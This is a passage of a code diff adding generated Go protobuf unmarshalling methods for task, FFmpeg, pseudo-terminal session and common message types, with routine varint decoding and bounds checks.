int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Switch: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Switch: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Urls", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Urls = append(m.Urls, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskCtrl) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskCtrl: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskCtrl: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TaskId", wireType) + } + m.TaskId = 0 + m.TaskId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Op", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Op = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskInfo) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TaskId", wireType) + } + m.TaskId = 0 + m.TaskId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Last", wireType) + } + m.Last = 0 + m.Last, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field RecvCount", wireType) + } + m.RecvCount = 0 + m.RecvCount, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SendCount", wireType) + } + m.SendCount = 0 + m.SendCount, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskListResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskListResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskListResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Tasks", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Tasks = append(m.Tasks, &TaskInfo{}) + if err := m.Tasks[len(m.Tasks)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *FFmpegRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FFmpegRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FFmpegRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Action", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Action = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DeviceName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.DeviceName = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputFormat", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.OutputFormat = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputPath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.OutputPath = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Time", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Time = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PtyRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PtyRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PtyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionId", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.SessionId = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Shell", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Shell = stringValue + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cols", wireType) + } + m.Cols = 0 + m.Cols, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Rows", wireType) + } + m.Rows = 0 + m.Rows, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field InputData", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.InputData = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field InputText", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.InputText = stringValue + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PtyResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PtyResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PtyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionId", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.SessionId = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputData", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.OutputData = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputText", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.OutputText = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Error = stringValue + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionActive", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.SessionActive = bool(v != 0) + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ActiveSessions", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ActiveSessions = append(m.ActiveSessions, stringValue) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Metadata", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Metadata == nil { + m.Metadata = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Metadata[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *CommonBody) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: CommonBody: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: CommonBody: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType == 0 { + var v uint32 + v, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + m.U32Array = append(m.U32Array, v) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + var count int + for _, integer := range dAtA[iNdEx:postIndex] { + if integer < 128 { + count++ + } + } + elementCount = count + if elementCount != 0 && len(m.U32Array) == 0 { + m.U32Array = make([]uint32, 0, elementCount) + } + for iNdEx < postIndex { + var v uint32 + v, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + m.U32Array = append(m.U32Array, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field U32Array", wireType) + } + case 4: + if wireType == 0 { + var v uint64 + v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + m.U64Array = append(m.U64Array, v) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + var count int + for _, integer := range dAtA[iNdEx:postIndex] { + if integer < 128 { + count++ + } + } + elementCount = count + if elementCount != 0 && len(m.U64Array) == 0 { + m.U64Array = make([]uint64, 0, elementCount) + } + for iNdEx < postIndex { + var v uint64 + v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + m.U64Array = append(m.U64Array, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field U64Array", wireType) + } + case 6: + if wireType == 0 { + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BoolArray = append(m.BoolArray, bool(v != 0)) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + elementCount = packedLen + if elementCount != 0 && len(m.BoolArray) == 0 { + m.BoolArray = make([]bool, 0, elementCount) + } + for iNdEx < postIndex { + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BoolArray = append(m.BoolArray, bool(v != 0)) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field BoolArray", wireType) + } + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StringArray", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := 